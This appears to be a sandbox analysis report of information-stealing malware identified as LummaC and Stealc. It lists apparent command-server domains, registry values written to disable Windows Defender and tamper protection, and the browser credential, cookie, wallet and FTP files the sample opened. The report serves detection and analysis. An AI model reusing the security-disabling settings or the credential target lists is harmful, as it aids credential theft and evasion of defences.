Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: hBBxlxfQ3F.exe, 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe, CDYE6QFT7BVP6AK0822DTDO89F1Y.exe, 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: 8Program Manager
Source: ODUPR5K9IIA1563VE194RM.exe, ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1949064086.0000000000F17000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: hBBxlxfQ3F.exe, 00000000.00000003.1694508874.0000000001167000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694508874.000000000115B000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011DF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: hBBxlxfQ3F.exe PID: 2000, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1948043749.0000000000B01000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1907561386.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ODUPR5K9IIA1563VE194RM.exe PID: 6624, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: hBBxlxfQ3F.exe, 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: hBBxlxfQ3F.exe, 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: hBBxlxfQ3F.exe	String found in binary or memory: Jaxx Liberty
Source: hBBxlxfQ3F.exe, 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: hBBxlxfQ3F.exe, 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: hBBxlxfQ3F.exe, 00000000.00000003.1669943578.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: hBBxlxfQ3F.exe, 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: hBBxlxfQ3F.exe, 00000000.00000003.1669943578.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: hBBxlxfQ3F.exe, 00000000.00000003.1669943578.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
